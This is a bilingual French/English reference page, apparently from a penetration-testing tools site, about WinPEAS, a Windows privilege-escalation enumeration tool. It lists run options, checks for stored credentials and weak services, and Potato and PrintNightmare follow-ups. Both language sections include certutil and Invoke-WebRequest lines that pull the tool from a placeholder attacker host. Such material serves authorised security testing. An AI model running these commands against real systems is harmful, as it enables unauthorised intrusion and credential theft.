retour aux outils back to tools Ducklings

WinPEAS

Script d'énumération pour l'élévation de privilèges Windows. Vérifie les services, clés de registre, credentials et des centaines d'autres vecteurs. Windows privilege escalation enumeration script. Checks services, registry keys, credentials, and hundreds of other vectors.

↗ https://github.com/carlospolop/PEASS-ng

Overview

WinPEAS enumerates Windows systems for privilege escalation vectors. Available as an executable (.exe) and a batch script (.bat). Like LinPEAS, it colour-codes findings by severity.

Running WinPEAS

# Run the executable
.\winPEASx64.exe

# Save output
.\winPEASx64.exe | Out-File -Encoding ascii winpeas_out.txt

# Specific checks only
.\winPEASx64.exe systeminfo
.\winPEASx64.exe userinfo
.\winPEASx64.exe servicesinfo
.\winPEASx64.exe applicationsinfo
.\winPEASx64.exe networkinfo
.\winPEASx64.exe windowscreds
.\winPEASx64.exe filesinfo

# Batch version (no colour but works without .NET)
winPEAS.bat

Transfer Methods

# From attacker HTTP server (updog or python3 -m http.server)
certutil.exe -urlcache -split -f http://<ATTACKER_IP>/winPEASx64.exe winpeas.exe
Invoke-WebRequest -Uri http://<ATTACKER_IP>/winPEASx64.exe -OutFile winpeas.exe

Key Vectors WinPEAS Checks

  • Unquoted service paths
  • Writable service binaries
  • AlwaysInstallElevated registry keys
  • Stored credentials (Registry, files, Credential Manager)
  • Scheduled tasks owned by admins
  • Token privileges (SeImpersonatePrivilege = Potato attacks)
  • DLL hijacking opportunities
Help / Man page 
.\winPEASx64.exe [systeminfo] [userinfo] [servicesinfo]
                 [applicationsinfo] [networkinfo] [windowscreds]
                 [browserinfo] [filesinfo] [eventsinfo] [wait]

SEARCH CATEGORIES:
  systeminfo        OS, patches, AV, PowerShell version
  userinfo          Current user, groups, privileges, UAC
  servicesinfo      Services, registry, COM hijacking
  applicationsinfo  Installed software, autorun
  networkinfo       Interfaces, routes, connections, shares
  windowscreds      Stored credentials, Wi-Fi passwords, Vault
  browserinfo       Browser history and credentials
  filesinfo         Interesting files, writable paths

MISC:
  wait              Pause at the end before closing
  log               Log output to a file
  notcolor          Disable color output

PRIVILEGE INDICATORS:
  Red    Critical — high probability privilege escalation
  Yellow Interesting — worth investigating
  Cyan   Informational

KEY CVEs TO CHECK:
  SeImpersonatePrivilege → PrintSpoofer, GodPotato, JuicyPotato
  UAC bypass → depends on Windows version
  CVE-2021-1675 → PrintNightmare (if Print Spooler running)

Vue d’ensemble

WinPEAS énumère les systèmes Windows à la recherche de vecteurs d’élévation de privilèges. Disponible en exécutable (.exe) et script batch (.bat). Comme LinPEAS, il code les résultats par couleur selon leur sévérité.

Exécution de WinPEAS

# Exécuter l'exécutable
.\winPEASx64.exe

# Sauvegarder la sortie
.\winPEASx64.exe | Out-File -Encoding ascii winpeas_out.txt

# Vérifications spécifiques uniquement
.\winPEASx64.exe systeminfo
.\winPEASx64.exe userinfo
.\winPEASx64.exe servicesinfo
.\winPEASx64.exe applicationsinfo
.\winPEASx64.exe networkinfo
.\winPEASx64.exe windowscreds
.\winPEASx64.exe filesinfo

# Version batch (sans couleur mais fonctionne sans .NET)
winPEAS.bat

Méthodes de transfert

# Depuis le serveur HTTP de l'attaquant (updog ou python3 -m http.server)
certutil.exe -urlcache -split -f http://<ATTACKER_IP>/winPEASx64.exe winpeas.exe
Invoke-WebRequest -Uri http://<ATTACKER_IP>/winPEASx64.exe -OutFile winpeas.exe

Vecteurs clés vérifiés par WinPEAS

  • Chemins de service non entre guillemets
  • Binaires de service accessibles en écriture
  • Clés de registre AlwaysInstallElevated
  • Credentials stockés (Registre, fichiers, Gestionnaire de credentials)
  • Tâches planifiées appartenant à des admins
  • Privilèges de token (SeImpersonatePrivilege = attaques Potato)
  • Opportunités de détournement de DLL
Aide / Page de manuel 
.\winPEASx64.exe [systeminfo] [userinfo] [servicesinfo]
                 [applicationsinfo] [networkinfo] [windowscreds]
                 [browserinfo] [filesinfo] [eventsinfo] [wait]

SEARCH CATEGORIES:
  systeminfo        OS, patches, AV, PowerShell version
  userinfo          Current user, groups, privileges, UAC
  servicesinfo      Services, registry, COM hijacking
  applicationsinfo  Installed software, autorun
  networkinfo       Interfaces, routes, connections, shares
  windowscreds      Stored credentials, Wi-Fi passwords, Vault
  browserinfo       Browser history and credentials
  filesinfo         Interesting files, writable paths

MISC:
  wait              Pause at the end before closing
  log               Log output to a file
  notcolor          Disable color output

PRIVILEGE INDICATORS:
  Red    Critical — high probability privilege escalation
  Yellow Interesting — worth investigating
  Cyan   Informational

KEY CVEs TO CHECK:
  SeImpersonatePrivilege → PrintSpoofer, GodPotato, JuicyPotato
  UAC bypass → depends on Windows version
  CVE-2021-1675 → PrintNightmare (if Print Spooler running)